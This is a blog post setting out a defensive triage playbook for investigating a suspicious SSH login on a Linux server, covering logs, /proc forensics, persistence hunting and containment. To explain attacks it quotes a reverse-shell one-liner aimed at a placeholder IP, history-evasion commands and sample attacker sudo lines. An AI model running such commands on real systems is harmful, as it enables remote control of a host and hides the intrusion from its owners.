DEV Community

Cover image for How I Investigate a Suspicious Login on a Linux Server
Asep Sayyad
Asep Sayyad

Posted on Originally published at asepsayyad007.in

How I Investigate a Suspicious Login on a Linux Server

#devops #linux #ubuntu #cli

From auth.log and utmp to /proc memory forensics and backdoor persistence: a battle-tested triage playbook for production engineers.

It is 2:14 AM. Your monitoring channel pings with a high-severity alert: an SSH session opened on your primary database replica from an IP address block in a country where your engineering team has zero presence.

Your heart rate spikes. Adrenaline floods your system.

Your immediate reflex might be to jump into the terminal, run kill -9 on the suspicious session, or pull the plug by rebooting the host.

Do not do that.

Rebooting or frantically terminating processes destroys volatile evidence. RAM vanishes. Sockets close. Deleted binary paths in /proc disappear. If the intruder has a rootkit or a persistent cron job waiting, a reboot simply hands control back to their backdoor while wiping the breadcrumbs you need to figure out what happened.

Take a breath. Keep the session alive for sixty seconds while you stabilize your footing.

Here is the exact step-by-step triage sequence I run through whenever a login smells wrong on a production Linux server.

1. The Cardinal Rule: Preserve Volatile Evidence First

Before typing a single diagnostic command, protect your own forensic trail.

When an attacker realizes you are watching, they clean up. They wipe .bash_history. They overwrite logs. They shred their tooling. If you run commands in your own interactive shell without logging them, you will struggle to reconstruct the timeline during the post-mortem.

Start by opening your own terminal and logging everything you type to an immutable text file with timing data:

script -t 2>~/triage-timing.log -a ~/triage-session.log
Enter fullscreen mode Exit fullscreen mode

The script command records every keystroke, stdout character, and terminal escape sequence to triage-session.log. If you need to replay the exact commands to auditors or your team tomorrow morning, you have an unalterable record.

Next, prevent your own commands from polluting the system's global history or tipping off an intruder reading /dev/pts/*:

HISTCONTROL=ignorespace
 export HISTCONTROL
Enter fullscreen mode Exit fullscreen mode

Prefixing any command with a leading space now keeps it out of your current session's memory history.

Now you are ready to dig.

2. Who Is on the Box Right Now? Active Session Inspection

The first question is simple: is the attacker still connected, and what pseudo-terminal (pty) are they using?

Run the classic trio:

w
Enter fullscreen mode Exit fullscreen mode

Sample output:

 02:15:12 up 42 days,  3:14,  3 users,  load average: 0.12, 0.08, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ubuntu   pts/0    10.0.4.15        01:40    2.00s  0.04s  0.01s w
deploy   pts/1    198.51.100.84    02:13    0.00s  0.18s  0.00s python3 -m http.server 8000
asep     pts/2    10.0.2.22        02:14    1.00s  0.02s  0.02s -bash
Enter fullscreen mode Exit fullscreen mode

Notice pts/1. The user deploy logged in one minute ago from public IP 198.51.100.84. They are currently running an inline Python HTTP server.

That is an immediate red flag. But do not stop at w.

The w command reads directly from /var/run/utmp. Clever intruders know how to bypass utmp entirely.

If an attacker connects using SSH without requesting a pseudo-terminal (for example, running ssh -T deploy@server /bin/bash), SSH spawns the shell with raw pipes instead of allocating a /dev/pts/ node. The sshd daemon does not write an entry to utmp.

Result? The attacker is actively running commands on your server, but w and who report zero evidence of their presence.

To catch hidden, pty-less SSH sessions, check the socket layer directly:

ss -tupn '( dport = :22 or sport = :22 )'
Enter fullscreen mode Exit fullscreen mode

Look at the established TCP connections:

Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port   Process
tcp    ESTAB   0       0        10.0.1.50:22          10.0.4.15:52114     users:(("sshd",pid=14201,fd=4))
tcp    ESTAB   0       0        10.0.1.50:22          198.51.100.84:48192 users:(("sshd",pid=14880,fd=4))
tcp    ESTAB   0       0        10.0.1.50:22          203.0.113.19:39012  users:(("sshd",pid=15104,fd=4))
Enter fullscreen mode Exit fullscreen mode

Look closely at the process column. PID 15104 has an established connection on port 22 from 203.0.113.19. Yet it never showed up under w.

That is a hidden non-interactive session. You just caught an attacker who thought they were invisible.

3. Tracing the Entry Vector: What Happened in the Logs?

Now that you have the remote IP and timestamps, you need to know how they crossed the threshold. Did they guess a password? Did they steal an SSH private key? Or did they exploit a local daemon?

On Debian, Ubuntu, and modern cloud images, authentication events live in /var/log/auth.log. On RHEL, Rocky, AlmaLinux, and Fedora, they live in /var/log/secure.

If your distro uses systemd journal exclusively, pull the SSH daemon unit:

journalctl -u ssh -u sshd -S "2026-09-22 01:00:00" --no-pager
Enter fullscreen mode Exit fullscreen mode

Filter specifically for successful authentication events matching your suspect window:

grep -E "Accepted (publickey|password)" /var/log/auth.log | tail -n 25
Enter fullscreen mode Exit fullscreen mode

Sample output:

Sep 22 02:13:41 db-prod-01 sshd[14880]: Accepted publickey for deploy from 198.51.100.84 port 48192 ssh2: RSA SHA256:4kK8s...
Sep 22 02:14:02 db-prod-01 sshd[15104]: Accepted password for backup from 203.0.113.19 port 39012 ssh2
Enter fullscreen mode Exit fullscreen mode

This output tells you two critical facts:

The first session (14880) authenticated with an SSH public key. That means an authorized private key on someone's laptop was leaked, an old CI/CD credential was compromised, or someone injected a new key into /home/deploy/.ssh/authorized_keys.

The second session (15104) authenticated with a password. If password authentication is supposed to be globally disabled on your servers (as it should be), someone either altered /etc/ssh/sshd_config or created an account with PAM bypass privileges.

Next, check for privilege escalation. Did either user run sudo?

grep -E "sudo:.*COMMAND" /var/log/auth.log | tail -n 20
Enter fullscreen mode Exit fullscreen mode

Look for lines like this:

Sep 22 02:14:15 db-prod-01 sudo: deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Sep 22 02:14:30 db-prod-01 sudo: deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/iptables -F
Enter fullscreen mode Exit fullscreen mode

If you see /usr/bin/cat /etc/shadow or iptables -F, the attacker has root privileges and just flushed your firewall rules.

4. Dissecting the Process Tree with /proc Forensics

Never rely solely on ps aux. A basic rootkit or user-space library preload (LD_PRELOAD) can hook readdir() inside glibc to hide rogue process IDs from tools like ps and top.

The Linux /proc virtual filesystem is your ground truth. Every single running task has a directory at /proc/<PID>.

Take PID 14880 from our sshd socket discovery. Let us inspect its lineage using pstree:

pstree -p -s 14880
Enter fullscreen mode Exit fullscreen mode

Output:

systemd(1)---sshd(982)---sshd(14880)---sshd(14888)---bash(14889)---python3(14950)
Enter fullscreen mode Exit fullscreen mode

sshd spawned worker PID 14888, which dropped privileges to user deploy, launched bash (PID 14889), and then ran python3 (PID 14950).

Now inspect the running process directly from the kernel interface:

Check the Executable Binary on Disk 

ls -l /proc/14950/exe
Enter fullscreen mode Exit fullscreen mode

Output:

lrwxrwxrwx 1 deploy deploy 0 Sep 22 02:13 /proc/14950/exe -> /usr/bin/python3.10
Enter fullscreen mode Exit fullscreen mode

If you ever see (deleted) appended to the binary path (for example, /tmp/.kworker (deleted)), the attacker dropped an ELF executable onto disk, launched it into memory, and immediately unlinked the file so scanners would not find it.

If the file is marked (deleted), you can copy the entire binary right out of kernel memory for reverse engineering:

cp /proc/14950/exe /tmp/recovered_malware.bin
Enter fullscreen mode Exit fullscreen mode

That single command recovers the original compiled binary before it is lost.

Inspect the Current Working Directory 

ls -l /proc/14950/cwd
Enter fullscreen mode Exit fullscreen mode

Output:

lrwxrwxrwx 1 deploy deploy 0 Sep 22 02:13 /proc/14950/cwd -> /dev/shm/.cache
Enter fullscreen mode Exit fullscreen mode

Legitimate production daemons rarely run out of /dev/shm or /tmp. Hidden dot-directories in shared memory mounts are textbook staging grounds for backdoors, cryptominers, and pivot scripts.

Read the Memory Environment Variables 

strings /proc/14950/environ | head -n 25
Enter fullscreen mode Exit fullscreen mode

Environment variables reveal leaked secrets. You will see what AWS access keys, database passwords, or shell parameters were passed into the process at execution time.

Check Open File Descriptors and Network Sockets 

ls -l /proc/14950/fd
Enter fullscreen mode Exit fullscreen mode

Output:

lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 0 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 1 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 2 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 3 -> socket:[89210]
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 4 -> /dev/shm/.cache/data.tar.gz
Enter fullscreen mode Exit fullscreen mode

File descriptor 3 is an open network socket (89210). File descriptor 4 is an open archive in /dev/shm/.cache. The intruder is packaging data and preparing to exfiltrate it over the network.

5. Catching Stealthy Outbound Reverse Shells

Intruders often use their initial SSH session to plant an outbound reverse shell. Once established, they can disconnect from SSH entirely while maintaining an interactive prompt over raw TCP.

A reverse shell connects outbound from your server to the attacker's listener on port 443, 80, or 8080. Because the connection is outbound, strict inbound firewalls will not block it.

Audit all non-local connections immediately:

ss -tupne
Enter fullscreen mode Exit fullscreen mode

Scan for processes where standard input and output (descriptors 0, 1, and 2) are wired to a network socket instead of a terminal:

lsof -i -P -n | grep -E "bash|sh|python|perl|nc|socat"
Enter fullscreen mode Exit fullscreen mode

Sample output:

sh       15201  deploy    0u  IPv4  92410   0t0  TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
sh       15201  deploy    1u  IPv4  92410   0t0  TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
sh       15201  deploy    2u  IPv4  92410   0t0  TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
Enter fullscreen mode Exit fullscreen mode

Look at file descriptors 0u, 1u, and 2u. All three point directly to a single TCP socket connecting to remote port 4444.

This is a classic reverse shell. The attacker ran something like sh -i >& /dev/tcp/198.51.100.84/4444 0>&1.

Any keystroke the attacker types on their remote machine executes straight inside sh on your server.

6. File System Timeline: What Was Created or Touched?

Now you know who logged in and what processes are running. Next, you need a precise timeline of every file dropped, modified, or compiled on disk around the time of the breach.

Linux keeps three primary timestamps for files:

  • mtime: Data modification time.
  • atime: File access time (often disabled or lazy on modern servers with noatime).
  • ctime: Metadata status change time (permissions, ownership, file renames).

Attackers frequently use touch -r or touch -d to modify mtime so their backdoor matches the dates of surrounding system files. This trick is called timestomping.

An attacker cannot easily forge ctime without resetting the system clock or editing raw filesystem blocks. Every time permissions change, inodes update, or files are created, the kernel updates ctime automatically.

Run a targeted search for files whose metadata changed in the last 120 minutes:

find / -ctime -120 -type f 2>/dev/null | grep -v -E "^/(proc|sys|run|dev)"
Enter fullscreen mode Exit fullscreen mode

Sample results:

/home/deploy/.ssh/authorized_keys
/etc/cron.d/sync-job
/tmp/.X11-unix/kworker
/dev/shm/.cache/miner.cfg
Enter fullscreen mode Exit fullscreen mode

Look at those paths. In less than ten seconds, you have pinpointed:

  • An edited authorized_keys file.
  • A new scheduled cron job.
  • Two disguised binaries in /tmp and /dev/shm.

Inspect the newly added key inside the user's directory:

stat /home/deploy/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

Check the exact timestamp down to the nanosecond, then review the contents:

cat /home/deploy/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

If you spot an unrecognized key with comments like root@kali or a random hex hash, copy it to your evidence folder and check when it was placed.

7. Checking the Shell History (And Why Attackers Bypass It)

Checking .bash_history is standard procedure. Run it:

tail -n 50 /home/deploy/.bash_history
Enter fullscreen mode Exit fullscreen mode

Most experienced attackers will not leave neat traces in .bash_history. They run:

unset HISTFILE
export HISTSIZE=0
set +o history
Enter fullscreen mode Exit fullscreen mode

Or they launch their shell with kill -9 $$ when leaving, forcing the process to terminate before bash flushes its memory buffer to disk on normal exit.

If .bash_history is empty or truncated, do not panic. If the attacker's shell process is still active in memory, you can extract their typed commands straight out of process memory:

strings /proc/14889/mem 2>/dev/null | grep -E "chmod|wget|curl|git|ssh|sudo|base64" | tail -n 30
Enter fullscreen mode Exit fullscreen mode

Because bash keeps recent command strings in heap buffers, scanning memory with strings often recovers the very commands the intruder thought they hid.

8. Hunting Persistence: Where Attackers Hide for Day Two

Intruders know their active session might get caught. Their primary objective during the first five minutes is establishing persistence.

If you terminate their shell without cleaning out their persistence mechanisms, they will regain access thirty minutes later.

Check these four common persistence vectors:

Vector 1: Scheduled Tasks and Timers

Inspect system cron tables and user crontabs:

crontab -l -u deploy
ls -la /etc/cron.* /etc/crontab /var/spool/cron/crontabs/
Enter fullscreen mode Exit fullscreen mode

Check for systemd timers that masquerade as system maintenance jobs:

systemctl list-timers --all
Enter fullscreen mode Exit fullscreen mode

Look for newly created service files in user-writable paths:

ls -lt /etc/systemd/system/ /lib/systemd/system/ | head -n 15
Enter fullscreen mode Exit fullscreen mode

Vector 2: User Account Manipulation

Check if the intruder created a new user or modified existing accounts:

tail -n 10 /etc/passwd
Enter fullscreen mode Exit fullscreen mode

Check for accounts with UID 0 (root-equivalent accounts):

awk -F: '($3 == 0) {print $1}' /etc/passwd
Enter fullscreen mode Exit fullscreen mode

Only root should appear in that list. If you see toor, admin, or system_sync with UID 0, an attacker created an auxiliary root account.

Vector 3: Profile and Shell Startup Scripts

Attackers frequently append malicious aliases or reverse shell loops into shell startup profiles. Whenever an administrator logs in, the script runs automatically.

Inspect:

  • /etc/profile
  • /etc/profile.d/*.sh
  • /etc/bash.bashrc
  • ~/.bashrc
  • ~/.bash_profile

Look for trailing base64 payloads, obfuscated curls, or unexpected function definitions at the bottom of these files.

Vector 4: Dynamic Linker Hijacking

Inspect /etc/ld.so.preload:

cat /etc/ld.so.preload 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

On clean systems, /etc/ld.so.preload is usually non-existent or empty.

If it points to a shared object library (for example, /lib/x86_64-linux-gnu/libpam_auth.so.2), every single dynamically linked binary on the server loads that library before running. This is how user-space rootkits hook system calls to hide files, processes, and network sockets from tools like ls, ps, and netstat.

9. Freezing the Threat Without Rebooting

Once you have identified the suspicious PIDs and documented their open files, you must contain the threat.

Never start with kill -9.

A kill -9 (SIGKILL) terminates the process instantly. The operating system frees memory pages, closes sockets, and tears down the kernel file descriptor table. Any unwritten logs or memory-resident payload strings are lost forever.

Instead, freeze the process in its tracks with SIGSTOP:

kill -STOP 14889 14950 15201
Enter fullscreen mode Exit fullscreen mode

SIGSTOP pauses execution immediately. The process cannot execute another CPU instruction. It cannot run a self-destruct script. It cannot delete files from disk.

Yet all memory pages, open sockets, and file handles remain intact in /proc.

With the processes frozen, dump their complete memory footprint to disk for offline analysis:

gcore -o /tmp/proc_dump_14950 14950
Enter fullscreen mode Exit fullscreen mode

Now you have an exact RAM snapshot of the malware.

Once the memory dump finishes, sever the network connections by cutting the remote attacker's IP at the packet filter level:

iptables -I INPUT -s 198.51.100.84 -j DROP
iptables -I OUTPUT -d 198.51.100.84 -j DROP
Enter fullscreen mode Exit fullscreen mode

Now that the session is frozen and isolated, terminate the malicious processes cleanly:

kill -KILL 14889 14950 15201
Enter fullscreen mode Exit fullscreen mode

Revoke the compromised user's active login privileges immediately:

passwd -l deploy
pkill -u deploy
Enter fullscreen mode Exit fullscreen mode

Delete the compromised public keys from ~/.ssh/authorized_keys and cycle all credentials across your fleet.

10. Exactly One Surprising Fact: The 55-Year Legacy of utmp

Did you know that the /var/run/utmp binary file format used by w, who, and last has remained fundamentally unchanged since Version 1 Unix in 1971?

The Linux kernel does not manage utmp. It is purely a user-space convention maintained by login, sshd, and PAM modules.

Every record in utmp is a fixed-size 384-byte C structure (struct utmp in <utmp.h>). Because it was designed in an era before modern security auditing, it suffers from severe design limitations:

  • Usernames are truncated to 32 characters.
  • Hostnames longer than 256 characters get cut off.
  • Timestamps are stored as 32-bit integers, which makes legacy utmp systems vulnerable to the Year 2038 problem.
  • Any program running without a tty allocation skips utmp entirely.

This ancient architecture is why systemd created sd-login and modern logging mechanisms. Relying on w to detect modern intrusion is trusting a logging format designed for teletype terminals in 1971.

11. Fast Triage Cheatsheet: The 60-Second Snapshot

When an alert lands and every second counts, here is the exact script I run to grab a clean snapshot of the system state before touching anything else:

#!/usr/bin/env bash
# Quick volatile evidence collector
SNAPDIR="/tmp/triage_$(date +%s)"
mkdir -p "$SNAPDIR"

# 1. Capture active users and terminals
w > "$SNAPDIR/w.txt"
who -a > "$SNAPDIR/who.txt"
last -n 25 > "$SNAPDIR/last.txt"

# 2. Capture established network sockets with PIDs
ss -tupne > "$SNAPDIR/sockets.txt"

# 3. Capture process tree
ps auxf > "$SNAPDIR/ps_tree.txt"

# 4. Capture recent auth events
tail -n 200 /var/log/auth.log > "$SNAPDIR/recent_auth.log" 2>/dev/null || \
journalctl -u ssh -S -1h --no-pager > "$SNAPDIR/recent_auth.log"

# 5. Capture files modified in the last hour
find / -mmin -60 -type f 2>/dev/null | grep -v -E "^/(proc|sys|run|dev)" > "$SNAPDIR/modified_files.txt"

echo "Volatile evidence saved to: $SNAPDIR"
Enter fullscreen mode Exit fullscreen mode

Keep this script on your bastion host or in your automation runbooks. When an incident occurs, running this takes two seconds and saves you from losing critical evidence.

Wrapping Up

A suspicious login on a production Linux server is stressful. But panic is the enemy of forensics.

Follow the evidence down through the layers. Start at the network sockets, verify the authentication logs, track the process lineage in /proc, hunt for dropped files with ctime, and freeze processes with SIGSTOP before terminating them.

Once the host is stabilized, remember the golden rule of production incident response: if an attacker gained root on a server, do not attempt to patch and clean it. Treat the operating system as permanently untrusted. Rebuild the instance from known-good Infrastructure as Code, deploy clean containers, and rotate all secrets across your environment.

Have you ever caught a suspicious login or hidden reverse shell on one of your servers? What was the first command you ran?

If this breakdown saved you hours of debugging or gave you something practical to use in production, consider buying me a coffee. Your support directly fuels independent, zero-fluff Linux and DevOps technical guides.

About the Author

Asep Sayyad is a Linux and DevOps engineer passionate about Linux administration, automation, cloud technologies, containers, and open-source software. He enjoys solving real-world infrastructure challenges and sharing practical knowledge through in-depth technical articles, tutorials, and hands-on guides.

His goal is to help aspiring and experienced engineers build stronger Linux and DevOps skills with content focused on real production scenarios rather than theory alone.

Connect with Me

Enjoyed this article?

If this guide saved you hours of debugging or gave you something practical for production, consider:

  • Buying me a coffee: Your support directly fuels independent, zero-fluff Linux and DevOps engineering breakdowns.
  • Starring my open-source projects on GitHub.
  • Sharing this article with fellow Linux and DevOps engineers.

You can also follow me for more practical content on Linux, DevOps, Cloud, Containers, Automation, and Open Source. Thanks for reading, and enjoy your learning!

© 2026 Asep Sayyad

Top comments (0)